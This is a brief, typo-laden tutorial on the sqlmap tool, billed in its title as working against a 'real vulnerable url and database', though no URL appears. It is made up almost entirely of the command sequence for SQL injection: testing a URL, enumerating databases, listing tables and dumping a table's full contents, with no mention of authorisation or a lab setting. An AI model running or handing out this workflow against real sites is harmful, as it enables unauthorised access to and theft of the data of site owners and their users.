sqlmap tutorial with real vulnerable url and datbase!
TO sum up:
python sqlmap.py -u here you place url
If its vulnerable then
python sqlmap.py -u here you place url --tables and press ctrl C after all databases not tables have been fetched
python sqlmap.py -u here you place url --tables -D database here to view tables of datbase
python sqlmap.py -u here you place url --dump -D databse here -T table here tjis command will view you alle the content of a table inside a database